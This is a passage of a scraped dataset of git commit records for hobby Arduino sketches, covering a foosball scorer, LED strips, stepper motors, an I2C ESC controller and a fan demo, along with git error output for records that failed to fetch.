buffer using Serial.print() *\/\n checkDigitalInputs(); \n \n \/* SERIALREAD - processing incoming messagse as soon as possible, while still\n * checking digital inputs. *\/\n while(Firmata.available())\n Firmata.processInput();\n \n \/* SEND FTDI WRITE BUFFER - make sure that the FTDI buffer doesn't go over\n * 60 bytes. use a timer to sending an event character every 4 ms to\n * trigger the buffer to dump. *\/\n \n currentMillis = millis();\n if (currentMillis - previousMillis > samplingInterval) {\n previousMillis += samplingInterval;\n \/* ANALOGREAD - do all analogReads() at the configured sampling interval *\/\n for(pin=0; pin<TOTAL_PINS; pin++) {\n if (IS_PIN_ANALOG(pin) && pinConfig[pin] == ANALOG) {\n analogPin = PIN_TO_ANALOG(pin);\n if (analogInputsToReport & (1 << analogPin)) {\n Firmata.sendAnalog(analogPin, analogRead(analogPin));\n }\n }\n }\n \/\/ report i2c data for all device with read continuous mode enabled\n if (queryIndex > -1) {\n for (byte i = 0; i < queryIndex + 1; i++) {\n readAndReportData(query[i].addr, query[i].reg, query[i].bytes);\n }\n }\n }\n \n \/\/see if firmata left us any goodies\n while(externalaccess.available()){\n\n \/\/wifi has a buffer limit ~90, want around 80, so ~51 before encoding\n int len = b64::encodeLength(externalaccess.available() > 51 ? 51 : externalaccess.available());\n \n skynet.publishHeader(\"tb\", len, false);\n \n b64::encode(externalaccess, client, len);\n \n }\n \n }else\n {\n \/\/oops we're not connected yet or we lost connection\n Serial.println(F(\"connecting...\"));\n\n \/\/ Sadly if we don't reinit it never reconnects\n if ( wifi.init() ) {\n Serial.println(F(\"CC3000 initialization complete\"));\n } else {\n Serial.println(F(\"Something went wrong during CC3000 init!\"));\n while(1);\n }\n\n \/\/lets wait so we don't slam the router\n delay(10000);\n\n \/\/ attempt to connect to Wifi network:\n if(wifi.connect(ssid, ap_security, pass, timeout)) {\n\n \/\/ skynet doesnt use client so send empty client string and YOUR UUID and token\n if (skynet.connect(\"\", UUID, TOKEN)){\n \n \/\/success!\n Serial.println(F(\"connected\"));\n \n \/\/you need to subscribe to your uuid to get messages for you\n skynet.subscribe(UUID);\n \n }\n \n }else\n {\n Serial.print(F(\"couldnt connect to: \"));\n Serial.println(ssid);\n }\n } \n}","old_contents":"","returncode":1,"stderr":"error: pathspec 'examples\/skynetim_mqtt_StandardFirmata_cc3000_ino\/skynetim_mqtt_StandardFirmata_cc3000_ino.ino' did not match any file(s) known to git\n","license":"lgpl-2.1","lang":"Arduino"} {"commit":"da956f5081f68170b45753430ecda74e0afe0855","subject":"dfdsfs","message":"dfdsfs\n","repos":"katherinejlu\/ece3400,katherinejlu\/ece3400,katherinejlu\/ece3400,katherinejlu\/ece3400,katherinejlu\/ece3400,katherinejlu\/ece3400","old_file":"code dump\/ir_fft\/ir_fft.ino","new_file":"code dump\/ir_fft\/ir_fft.ino","new_contents":"","old_contents":"","returncode":1,"stderr":"error: pathspec 'code' did not match any file(s) known to git\nerror: pathspec 'dump\/ir_fft\/ir_fft.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"354fc0e79c11609d5eed56a433dd4d3d5afb06f2","subject":"fist release","message":"fist release\n","repos":"handsomecode\/kicker-auto-score,handsomecode\/smart-foosball,handsomecode\/smart-foosball,handsomecode\/kicker-auto-score,handsomecode\/smart-foosball,handsomecode\/kicker-auto-score","old_file":"kiker.ino","new_file":"kiker.ino","new_contents":"#include <Bounce2.h>\n\n\n\/\/TODO\n\/*\n * \u0411\u043e\u043b\u044c\u0448\u0435 \u043c\u0435\u043d\u044c\u0448\u0435\n * \u0424\u0438\u043d\u0430\u043b \u0438\u0433\u0440\u044b\n * \u041f\u043e\u0431\u0435\u0434\u043d\u0430\u044f \u043c\u0443\u0437\u044b\u043a\u0430\n * \u0414\u041e\u043b\u0433\u043e\u0435 \u043d\u0430\u0436\u0430\u0442\u0438\u0435\n * \u041c\u0438\u0433\u0430\u043d\u0438\u0435\n * \u041e\u0448\u0438\u0431\u043a\u0430\n * \u0418\u0437\u043c\u0435\u043d\u0435\u043d\u0438 \u043d\u0430\u0442\u0441\u0440\u043e\u0435\u043a\n * \u0420\u0435\u0444\u0440\u0430\u043a\u0442\u043e\u0440\u0438\u043d\u0433\n * \u041e\u0411\u0449\u0438\u0439 \u0441\u0431\u0440\u043e\u0441\n * \n *\/\n\n\n\/\/\u041f\u0438\u043d \u043f\u043e\u0434\u043a\u043b\u044e\u0447\u0435\u043d \u043a SER \u0432\u0445\u043e\u0434\u0443 SN74HC595N\nint dataPinA = 2;\n\/\/\u041f\u0438\u043d \u043f\u043e\u0434\u043a\u043b\u044e\u0447\u0435\u043d\u044b\u0439 \u043a SRCLR \u0432\u0445\u043e\u0434\u0443 SN74HC595N\nint latchPinA = 3;\n\/\/\u041f\u0438\u043d \u043f\u043e\u0434\u043a\u043b\u044e\u0447\u0435\u043d\u044b\u0439 \u043a SRCLK \u0432\u0445\u043e\u0434\u0443 SN74HC595N\nint clockPinA = 4;\n\/\/\u041f\u0438\u043d \u043f\u043e\u0434\u043a\u043b\u044e\u0447\u0435\u043d \u043a SER \u0432\u0445\u043e\u0434\u0443 SN74HC595N\nint dataPinB = 7;\n\/\/\u041f\u0438\u043d \u043f\u043e\u0434\u043a\u043b\u044e\u0447\u0435\u043d\u044b\u0439 \u043a SRCLR \u0432\u0445\u043e\u0434\u0443 SN74HC595N\nint latchPinB = 8;\n\/\/\u041f\u0438\u043d \u043f\u043e\u0434\u043a\u043b\u044e\u0447\u0435\u043d\u044b\u0439 \u043a SRCLK \u0432\u0445\u043e\u0434\u0443 SN74HC595N\nint clockPinB = 9;\n\nint ldrPinA = 0;\nint ldrPinB = 1;\n\n\nvolatile int currentScoreA = 0;\nvolatile int currentScoreB = 0;\nvolatile int finalScore = 15;\nint decrButtonPinA = 5;\nint incrButtonPinA = 6;\n\nint decrButtonPinB = 10;\nint incrButtonPinB = 11;\n\nint tonePinA = 12;\nint tonePinB = 13;\n\n\n\n\n\/\/ Instantiate a Bounce object\nBounce debouncerIncrButtonA = Bounce();\nBounce debouncerDecrButtonA = Bounce();\nBounce debouncerIncrButtonB = Bounce();\nBounce debouncerDecrButtonB = Bounce();\n\nvolatile int lastLdrAValue = 0;\nvolatile int lastLdrBValue = 0;\nint SCORE_TRESHOLD = 150;\n\n\n\n\nvoid setup() {\n\n\n Serial.begin(9600);\n initializeArduinoPins();\n\n debouncerIncrButtonA.attach(incrButtonPinA);\n debouncerIncrButtonA.interval(5);\n\n debouncerDecrButtonA.attach(decrButtonPinA);\n debouncerDecrButtonA.interval(5);\n\n\n debouncerIncrButtonB.attach(incrButtonPinB);\n debouncerIncrButtonB.interval(5);\n\n debouncerDecrButtonB.attach(decrButtonPinB);\n debouncerDecrButtonB.interval(5);\n \n \n displayWrite(currentScoreA);\n displayWriteB(currentScoreB);\n\n \n}\nvoid initializeArduinoPins() {\n pinMode(latchPinA, OUTPUT);\n pinMode(dataPinA, OUTPUT);\n pinMode(clockPinA, OUTPUT);\n pinMode(latchPinB, OUTPUT);\n pinMode(dataPinB, OUTPUT);\n pinMode(clockPinB, OUTPUT);\n\n pinMode(tonePinA, OUTPUT);\n pinMode(tonePinB, OUTPUT);\n \n pinMode(incrButtonPinA, INPUT_PULLUP);\n pinMode(decrButtonPinA, INPUT_PULLUP);\n pinMode(incrButtonPinB, INPUT_PULLUP);\n pinMode(decrButtonPinB, INPUT_PULLUP);\n\n}\n\nvoid resetScore(int command) {\n currentScoreA = 0;\n displayWrite(currentScoreA);\n}\nvoid resetScoreB(int command) {\n currentScoreB = 0;\n displayWriteB(currentScoreB);\n}\n\nvoid increaseScore(int command) {\n if ( (currentScoreA ) < finalScore) {\n currentScoreA++;\n displayWrite(currentScoreA);\n if (currentScoreA == finalScore){\n tone (tonePinA, 500); \/\/\u0432\u043a\u043b\u044e\u0447\u0430\u0435\u043c \u043d\u0430 500 \u0413\u0446\n delay(100);\n noTone(tonePinA);\n }\n }\n}\n\nvoid increaseScoreB(int command) {\n if ( (currentScoreB ) < finalScore ) {\n currentScoreB++;\n displayWriteB(currentScoreB);\n if (currentScoreB == finalScore){\n tone (tonePinB, 500); \/\/\u0432\u043a\u043b\u044e\u0447\u0430\u0435\u043c \u043d\u0430 500 \u0413\u0446\n delay(100);\n noTone(tonePinB);\n }\n }\n}\n\n\nvoid decreaseScore(int command) {\n if (currentScoreA > 0) {\n currentScoreA = currentScoreA - 1;\n displayWrite(currentScoreA);\n }\n\n}\n\nvoid decreaseScoreB(int command) {\n if (currentScoreB > 0) {\n currentScoreB = currentScoreB - 1;\n displayWriteB(currentScoreB);\n }\n\n}\n\n\nvoid displayWrite(int number) {\n\n int numbers[] = {0x3F, 0x06, 0x5B, 0x4F, 0x66, 0x6d, 0x7d, 0x07, 0x7f, 0x67};\n digitalWrite(latchPinA, LOW);\n shiftOut(dataPinA, clockPinA, MSBFIRST, numbers[number % 10]);\n shiftOut(dataPinA, clockPinA, MSBFIRST, numbers[(number \/ 10) % 10]);\n digitalWrite(latchPinA, HIGH);\n\n}\nvoid displayWriteB(int number) {\n\n int numbers[] = {0x3F, 0x06, 0x5B, 0x4F, 0x66, 0x6d, 0x7d, 0x07, 0x7f, 0x67};\n digitalWrite(latchPinB, LOW);\n shiftOut(dataPinB, clockPinB, MSBFIRST, numbers[number % 10]);\n shiftOut(dataPinB, clockPinB, MSBFIRST, numbers[(number \/ 10) % 10]);\n digitalWrite(latchPinB, HIGH);\n\n}\n\n\nvoid loop()\n{\n\n debouncerIncrButtonA.update();\n debouncerDecrButtonA.update();\n debouncerIncrButtonB.update();\n debouncerDecrButtonB.update();\n\n int incrButtonValueA = debouncerIncrButtonA.read();\n int decrButtonValueA = debouncerDecrButtonA.read();\n int incrButtonValueB = debouncerIncrButtonB.read();\n int decrButtonValueB = debouncerDecrButtonB.read();\n\n if ( incrButtonValueA == HIGH && decrButtonValueA == HIGH ) {\n resetScore(0);\n Serial.println(\"reset\");\n }\n if ( incrButtonValueB == HIGH && decrButtonValueB == HIGH ) {\n resetScoreB(0);\n Serial.println(\"resetB\");\n }\n\n if (debouncerIncrButtonA.fell()) {\n increaseScore(0);\n \n Serial.println(\"increase\");\n }\n\n if (debouncerDecrButtonA.fell()) {\n decreaseScore(0);\n Serial.println(\"decrease\");\n }\n\n if (debouncerIncrButtonB.fell()) {\n increaseScoreB(0);\n Serial.println(\"increaseB\");\n }\n\n if (debouncerDecrButtonB.fell()) {\n decreaseScoreB(0);\n Serial.println(\"decreaseB\");\n }\n\n\n int currentLdrAValue = analogRead(ldrPinA);\n Serial.print(\"current \");\n Serial.print(currentLdrAValue);\n Serial.print(\" last \");\n Serial.print(lastLdrAValue);\n Serial.print(\" score \");\n Serial.println(currentScoreA);\n if (currentLdrAValue < lastLdrAValue - SCORE_TRESHOLD) {\n Serial.println(\"yes\");\n increaseScore(0);\n delay(500);\n }\n lastLdrAValue = currentLdrAValue;\n\n\n int currentLdrBValue = analogRead(ldrPinB);\n\n if (currentLdrBValue < lastLdrBValue - SCORE_TRESHOLD) {\n \n increaseScoreB(0);\n delay(500);\n }\n lastLdrBValue = currentLdrBValue;\n\n\n\n\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'kiker.ino' did not match any file(s) known to git\n","license":"apache-2.0","lang":"Arduino"} {"commit":"1426f8964caf69c41b34315f405f6e2dba8f175a","subject":"added implementation for micro stepping \tnew file: microStepping_expriment\/microStepping_expriment.ino","message":"added implementation for micro stepping\n\tnew file: microStepping_expriment\/microStepping_expriment.ino\n","repos":"Mooophy\/stepper-gui-control","old_file":"microStepping_expriment\/microStepping_expriment.ino","new_file":"microStepping_expriment\/microStepping_expriment.ino","new_contents":"const unsigned duty_arr [] = \n{500, 625, 750, 875, 1000, 875, 750, 625, 500, 375, 250, 125, 0,0,0,0, 0,0,0,0, 0,0,0,0, 0,0,0,0 ,0, 125, 250, 375};\n\/\/^0-a ^8-c ^16-b ^24-d \nconst unsigned index_A = 0;\nconst unsigned index_B = 16;\nconst unsigned index_C = 8;\nconst unsigned index_D = 24;\n\nconst int A = 8;\nconst int B = 9;\nconst int C = 10;\nconst int D = 11;\n\nint a,b,c,d;\n\nvoid generate(unsigned pin, unsigned period, unsigned duty);\n\nvoid setup() { \n pinMode(A, OUTPUT); \n pinMode(B, OUTPUT); \n pinMode(C, OUTPUT); \n pinMode(D, OUTPUT);\n \n a = index_A;\n b = index_B;\n c = index_C;\n d = index_D; \n}\n\nvoid loop() {\n\n generate(A, 1000, duty_arr[a]);\n generate(C, 1000, duty_arr[b]);\n generate(B, 1000, duty_arr[c]);\n generate(D, 1000, duty_arr[d]);\n \n ++a;\n ++b;\n ++c;\n ++d;\n \n a %= 32;\n b %= 32;\n c %= 32;\n d %= 32;\n \n delay(50);\n}\n\nvoid generate(unsigned pin, unsigned period, unsigned duty)\n{\n digitalWrite(pin, HIGH);\n delayMicroseconds(duty);\n \n digitalWrite(pin, LOW);\n delayMicroseconds(period - duty); \n}\n\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'microStepping_expriment\/microStepping_expriment.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"b2e43ce9019117afc166f55ace758b18c15ad0ef","subject":"anavi-miracle-controller-gestures.ino: Example","message":"anavi-miracle-controller-gestures.ino: Example\n\nAdd an example for turning on and off consecutively LED on\naddressable LED strips using ANAVI Miracle Controller and\nI2C gesture sensor module APD9960.\n\nWhen gesture to the left is detected turn off the LED, when\ngesture to the right is detected turn on the next LED.\n\nSigned-off-by: Leon Anavi <be92910ae7bb6f58bb9b7c6f845bc30640119592@anavi.org>\n","repos":"AnaviTech\/anavi-examples,AnaviTech\/anavi-examples","old_file":"anavi-miracle-controller\/anavi-miracle-controller-gestures\/anavi-miracle-controller-gestures.ino","new_file":"anavi-miracle-controller\/anavi-miracle-controller-gestures\/anavi-miracle-controller-gestures.ino","new_contents":"#include <FS.h> \n#include <ESP8266WiFi.h> \/\/https:\/\/github.com\/esp8266\/Arduino\n#include \"Adafruit_APDS9960.h\"\n\n\/\/ For FastLED\n#define FASTLED_ESP8266_RAW_PIN_ORDER\n#include <FastLED.h>\n\n#define LED_PIN1 12\n#define LED_PIN2 14\n#define NUM_LEDS 15\n#define BRIGHTNESS 64\n#define LED_TYPE WS2812\n#define COLOR_ORDER GRB\n#define FRAMES_PER_SECOND 120\n\nAdafruit_APDS9960 apds;\n\nCRGB leds1[NUM_LEDS];\nCRGB leds2[NUM_LEDS];\n\nint currentPosition = 1;\n\nvoid updateColor(int numToFill)\n{\n \/\/ Turn off all LEDs\n fill_solid(leds1, NUM_LEDS, CRGB::Black);\n \/\/ Turn on LEDs depending the gesture\n fill_rainbow(leds1, numToFill, 0, 7);\n\n \/\/ Turn off all LEDs\n fill_solid(leds2, NUM_LEDS, CRGB::Black);\n \/\/ Turn on LEDs depending the gesture\n fill_rainbow(leds2, numToFill, 0, 7);\n\n \n FastLED.show();\n FastLED.delay(1000\/FRAMES_PER_SECOND);\n}\n\nvoid setup()\n{\n Serial.begin(115200);\n Serial.println();\n\n Serial.println(\"ANAVI Miracle Controller\");\n Serial.println(\"------------------------------\");\n Serial.println(\"Control LED strip with gesture\");\n Serial.println(\"------------------------------\");\n\n FastLED.addLeds<LED_TYPE, LED_PIN1, COLOR_ORDER>(leds1, NUM_LEDS).setCorrection( TypicalLEDStrip );\n FastLED.addLeds<LED_TYPE, LED_PIN2, COLOR_ORDER>(leds2, NUM_LEDS).setCorrection( TypicalLEDStrip );\n FastLED.setBrightness( BRIGHTNESS );\n updateColor(currentPosition);\n delay(100);\n Serial.println(\"LED strips initialized.\");\n\n if(!apds.begin())\n {\n Serial.println(\"ERROR: Failed to initialize gesture sensor! Please check your wiring.\");\n }\n else Serial.println(\"Gesture sensor initialized.\");\n\n \/\/gesture mode will be entered once proximity mode senses something close\n apds.enableProximity(true);\n apds.enableGesture(true);\n}\n\nvoid loop()\n{\n \/\/read a gesture from the device\n uint8_t gesture = apds.readGesture();\n if(APDS9960_LEFT == gesture)\n {\n if (1 < currentPosition)\n {\n Serial.println(\"Go left!\");\n currentPosition -= 1;\n updateColor(currentPosition);\n }\n else\n {\n Serial.println(\"You have already reached the maximum on the left.\");\n }\n }\n else if(APDS9960_RIGHT == gesture)\n {\n if (15 > currentPosition)\n {\n Serial.println(\"Go right!\");\n currentPosition += 1;\n updateColor(currentPosition);\n }\n else\n {\n Serial.println(\"You have already reached the maximum on the right.\");\n }\n }\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'anavi-miracle-controller\/anavi-miracle-controller-gestures\/anavi-miracle-controller-gestures.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"7707c734478bd8ca80328dacbea1ad8e5511c9de","subject":"stepper motor controller L293 with hm example","message":"stepper motor controller L293 with hm example\n","repos":"lucidtronix\/HeartMatrixArduino","old_file":"examples\/hm_L293_breakout\/hm_L293_breakout.ino","new_file":"examples\/hm_L293_breakout\/hm_L293_breakout.ino","new_contents":"\/* LucidTronix Heart Matrix LEO LED Display.\n * Text on the Heart Matrix\n * For instructions details and schematic, See:\n * http:\/\/www.lucidtronix.com\/tutorials\/57 *\/\n#include <MsTimer2.h>\n#include <HeartMatrix.h>\n\nHeartMatrix hm = HeartMatrix(5,6,7); \/\/ dataPin is on 5, Latch is on 6, and clock is on 7\n\nvoid displayer2(){ \n hm.displayer();\n}\n\n\n\/* LucidTronix Control a stepper motor.\n * For instructions details and schematic, See:\n * http:\/\/www.lucidtronix.com\/tutorials\/24\n *\/\n#include <Stepper.h>\n\/\/ change this to the number of steps on your motor\n#define STEPS 200\n\n\/\/ create an instance of the stepper class, specifying\n\/\/ the number of step s of the motor and the pins it's\n\/\/ attached to:\nStepper stepper(STEPS, 0,1);\n\nint btn1 = 9 ;\nint pot_pin = 0;\nint mode = 0;\nint num_modes = 2;\nint cur_pos = 100;\nunsigned long last_press = 0;\n\nvoid setup()\n{\n \/\/ set the speed of the motor to 30 RPMs\n stepper.setSpeed(30);\n pinMode(btn1, INPUT);\n MsTimer2::set(1,displayer2); \n MsTimer2::start(); \n hm.set_message(\"L293 Breakout Board Controlled by Heart Matrix from LucidTroniX! \");\n\n}\n\nvoid loop()\n{\n if (mode == 0 ) speed_control();\n else if (mode == 1) phase_control();\n check_buttons();\n hm.on();\n hm.set_scroll_wait(max(20, analogRead(0)\/4));\n}\n\nvoid check_buttons(){\n if (digitalRead(btn1) == HIGH && millis() - last_press > 500){\n mode = ++mode % num_modes; \n last_press = millis();\n stepper.setSpeed(30);\n }\n}\n\nvoid speed_control(){\n int val = analogRead(pot_pin);\n val -= 512;\n val \/= 5;\n stepper.setSpeed(abs(val));\n int step_amount = 0;\n if ( val > 0) step_amount = 1;\n else if ( val < 0) step_amount = -1;\n stepper.step(step_amount); \n}\n\nvoid phase_control(){\n int val = analogRead(pot_pin);\n int degree = map(val,0,1023,0,200);\n int step_amount = 0;\n if (cur_pos < degree && cur_pos < 200) step_amount = 1;\n else if(cur_pos > degree && cur_pos > 0) step_amount = -1;\n stepper.step(step_amount); \n cur_pos += step_amount; \n}\n\n\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'examples\/hm_L293_breakout\/hm_L293_breakout.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"163048dafa7e14f7908eae411a11ba2e94b3c525","subject":"delay for testing","message":"delay for testing\n","repos":"lushl9301\/Yellow-SubArena","old_file":"exploration testing\/src\/main.ino","new_file":"exploration testing\/src\/main.ino","new_contents":"","old_contents":"","returncode":1,"stderr":"error: pathspec 'exploration' did not match any file(s) known to git\nerror: pathspec 'testing\/src\/main.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"b3d430c8d25e21e701ab3d9bbd1b5d2cad9ef127","subject":"Update sketch_temp.ino","message":"Update sketch_temp.ino","repos":"Au1st3in\/fall2015-e121-arduino-code,Au1st3in\/fall2015-e121-arduino-code","old_file":"main_test\/sketch_temp\/sketch_temp.ino","new_file":"main_test\/sketch_temp\/sketch_temp.ino","new_contents":"","old_contents":"","returncode":128,"stderr":"remote: Support for password authentication was removed on August 13, 2021.\nremote: Please see https:\/\/docs.github.com\/en\/get-started\/getting-started-with-git\/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.\nfatal: Authentication failed for 'https:\/\/github.com\/Au1st3in\/fall2015-e121-arduino-code.git\/'\n","license":"mit","lang":"Arduino"} {"commit":"0572383a6b373b3a05da6fa4ee356b501166e364","subject":"Fixed frequency to 868 MHz and shift to 850 Hz","message":"Fixed frequency to 868 MHz and shift to 850 Hz\n","repos":"JDat\/RocketGPStracker,JDat\/RocketGPStracker","old_file":"rocket-tracker-rtty-868\/tracker\/tracker.ino","new_file":"rocket-tracker-rtty-868\/tracker\/tracker.ino","new_contents":"","old_contents":"","returncode":128,"stderr":"remote: Support for password authentication was removed on August 13, 2021.\nremote: Please see https:\/\/docs.github.com\/en\/get-started\/getting-started-with-git\/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.\nfatal: Authentication failed for 'https:\/\/github.com\/JDat\/RocketGPStracker.git\/'\n","license":"mit","lang":"Arduino"} {"commit":"dd57f314eabc54a411fba00287422b0867a36538","subject":"Big circle lamp","message":"Big circle lamp\n","repos":"elliottkember\/sworduino,elliottkember\/sworduino,elliottkember\/sworduino,elliottkember\/sworduino","old_file":"bigcircle\/bigcircle.ino","new_file":"bigcircle\/bigcircle.ino","new_contents":"#import <FastLED.h>\n\n#define N_LEDS 150\nCRGBArray<N_LEDS> leds;\n\nvoid setup() {\n FastLED.addLeds<WS2812B, 7, GRB>(leds, N_LEDS);\n FastLED.setMaxPowerInVoltsAndMilliamps(5, 1000);\n}\n\nint rings[3] = { 60, 48, 42 };\nint ring = 10;\nint hue = 0;\n\nvoid loop() {\n EVERY_N_MILLISECONDS(80) {\n int pixels = rings[ring];\n if (ring < 3) {\n int offset = 0;\n for (int i = 0; i < ring; i++) {\n offset += rings[i];\n }\n for(CRGB & pixel : leds(offset, offset + pixels - 1)) { \n pixel = CHSV(hue, 255, 255);\n }\n }\n ring -= 1;\n hue += 5;\n if (ring == -1) { ring = 10; }\n }\n fadeToBlackBy(leds, N_LEDS, 10);\n show_at_max_brightness_for_power();\n}\n\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'bigcircle\/bigcircle.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"788f9e19206e6c132c7e90c913c974669bc4b133","subject":"added a arduino file containing fuctions to allow diaganal driving","message":"added a arduino file containing fuctions to allow diaganal driving\n","repos":"sherrardTr4129\/SortME","old_file":"arduino code\/OctoDrive\/OctoDrive.ino","new_file":"arduino code\/OctoDrive\/OctoDrive.ino","new_contents":"","old_contents":"","returncode":1,"stderr":"error: pathspec 'arduino' did not match any file(s) known to git\nerror: pathspec 'code\/OctoDrive\/OctoDrive.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"29d4ba5e67095a8d7fc1beb00480b9f221580963","subject":"Added I2C control example. This is still a work in progress and will eventually turn into a library.","message":"Added I2C control example. This is still a work in progress and will eventually turn into a library.\n","repos":"bluerobotics\/br-esc-examples","old_file":"arduino\/I2CControl\/I2CControl.ino","new_file":"arduino\/I2CControl\/I2CControl.ino","new_contents":"\/* Blue Robotics Example Code\n-------------------------------\n \nTitle: BlueESC Control via I2C (Arduino)\n\nDescription: This example code demonstrates the I2C communication capability\nof the Blue Robotics \"BlueESC\". Motor speed commands are sent via I2C and \nvoltage, current, rpm, and temperature data is returned.\n\nThe code is designed for the Arduino Uno board and can be compiled and \nuploaded via the Arduino 1.0+ software.\n\n-------------------------------\nThe MIT License (MIT)\n\nCopyright (c) 2015 Blue Robotics Inc.\n\nPermission is hereby granted, free of charge, to any person obtaining a copy\nof this software and associated documentation files (the \"Software\"), to deal\nin the Software without restriction, including without limitation the rights\nto use, copy, modify, merge, publish, distribute, sublicense, and\/or sell\ncopies of the Software, and to permit persons to whom the Software is\nfurnished to do so, subject to the following conditions:\n\nThe above copyright notice and this permission notice shall be included in\nall copies or substantial portions of the Software.\n\nTHE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR\nIMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,\nFITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE\nAUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER\nLIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,\nOUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN\nTHE SOFTWARE.\n-------------------------------*\/\n\n\/\/ See here for example: https:\/\/github.com\/balrog-kun\/autopilot\/blob\/lpc1343\/actuators-i2c.h\n\n#include <Wire.h>\n\n#define I2C_ADDR 0x29\n\n\/\/ resistance at 25 degrees C\n#define THERMISTORNOMINAL 10000 \n\/\/ temp. for nominal resistance (almost always 25 C)\n#define TEMPERATURENOMINAL 25 \n\/\/ The beta coefficient of the thermistor (usually 3000-4000)\n#define BCOEFFICIENT 3950\n\/\/ the value of the 'other' resistor\n#define SERIESRESISTOR 3300 \n\n\/\/ Read the incoming data buffer from an ESC\nvoid readBuffer(uint8_t address, uint8_t buffer[]) {\n Wire.beginTransmission(address);\n Wire.write(0x02); \/\/ Data start register\n Wire.endTransmission();\n \n delay(100);\n \n Wire.requestFrom(address,uint8_t(9));\n delay(100);\n uint8_t i = 0;\n while(Wire.available()) {\n buffer[i] = Wire.read();\n i++;\n }\n}\n\n\/\/ Check to make sure that ESC is properly attached\nvoid initESC(uint8_t address) {\n uint8_t buffer[9];\n\n delay(100); \/\/ Wait for ESCs to boot if starting up\n \n buffer[8] = 0x00;\n readBuffer(address,buffer);\n \n if ( buffer[8] == 0xab ) {\n Serial.println(\"ESC is alive!\");\n } else {\n Serial.println(\"Can't contact ESC.\");\n }\n}\n\n\/\/ Send motor speed command to ESC\nvoid setESC(uint8_t address, int16_t value) { \n uint16_t output;\n\n if ( value < 0 ) {\n output = (-value)|((1<<15)&0x8000);\n } else {\n output = value;\n }\n\n Wire.beginTransmission(address);\n Wire.write(0x00);\n Wire.write(output>>8);\n Wire.write(output);\n Wire.endTransmission();\n}\n\nvoid readSensors(uint8_t address, uint16_t *rpm, uint16_t *vbat, uint16_t *temp, uint16_t *curr) {\n uint8_t buffer[9];\n \n readBuffer(address,buffer);\n \n *rpm = (buffer[0] << 8) | buffer[1];\n *vbat = (buffer[2] << 8) | buffer[3];\n *temp = (buffer[4] << 8) | buffer[5];\n *curr = (buffer[6] << 8) | buffer[7];\n}\n\nvoid setup() {\n Wire.begin();\n Serial.begin(19200);\n Serial.println(\"Starting\");\n \n initESC(I2C_ADDR);\n}\n\nvoid loop() {\n static uint32_t writeTimer = 0;\n static uint32_t readTimer = 0;\n \n if ( millis() - writeTimer > 100 ) {\n writeTimer = millis();\n\n static int16_t signal = 0;\n static int16_t increment = 50;\n \n \/\/Serial.print(\"Sending \");Serial.print(signal);\n setESC(I2C_ADDR,signal);\n \n signal += increment;\n \n if ( abs(signal) > 6000 ) {\n increment = -increment;\n }\n }\n \n if ( micros() - readTimer > 1000000 ) {\n uint32_t dt = micros() - readTimer;\n \n readTimer = micros();\n \n uint16_t rpm, vbat, temp, curr;\n \n readSensors(I2C_ADDR,&rpm,&vbat,&temp,&curr);\n \n float resistance = SERIESRESISTOR\/(65535\/float(temp)-1);\n \n float steinhart;\n steinhart = resistance \/ THERMISTORNOMINAL; \/\/ (R\/Ro)\n steinhart = log(steinhart); \/\/ ln(R\/Ro)\n steinhart \/= BCOEFFICIENT; \/\/ 1\/B * ln(R\/Ro)\n steinhart += 1.0 \/ (TEMPERATURENOMINAL + 273.15); \/\/ + (1\/To)\n steinhart = 1.0 \/ steinhart; \/\/ Invert\n steinhart -= 273.15; \/\/ convert to C\n \n Serial.print(\"RPM: \");Serial.println(rpm\/(dt\/1000000.0f)*60\/6);\n Serial.print(\"VBat: \");Serial.println(float(vbat)\/65536*5*6.45);\n Serial.print(\"Temp: \");Serial.println(steinhart);\n Serial.print(\"Curr: \");Serial.println((float(curr)-32768)\/65536*5*14.706); \n Serial.println(\"---------------------\");\n }\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'arduino\/I2CControl\/I2CControl.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"80f7d79b9c250e99b95f55696b2049c77fdfe8c4","subject":"added mosfet fan demo","message":"added mosfet fan demo\n","repos":"TinkerUMD\/TinkerUMD","old_file":"demos\/mosfet_fan_demo\/mosfet_fan.ino","new_file":"demos\/mosfet_fan_demo\/mosfet_fan.ino","new_contents":"int fanPower = 0;\nconst int distancePin=1;\nconst int fanPin = 9;\n\nvoid setup(){\n pinMode(fanPin,OUTPUT);\n Serial.begin(9600); \n}\n\nvoid loop(){ \n \n \/\/ reading the distance sensor value\n int val = analogRead(distancePin); \n \n \/\/ mapping the analog value to a range between 0 and 255\n double conv = (val\/670.0) * 255.0;\n int conv2 = (int)conv;\n fanPower = conv2;\n \n \/\/ sending the PWM signal through fanPin\n analogWrite(fanPin,fanPower); \n delay(50); \n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'demos\/mosfet_fan_demo\/mosfet_fan.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"0010a1581714b5c363ca45a840a1475cc6b01b75","subject":"Create ShowLEDs.ino","message":"Create 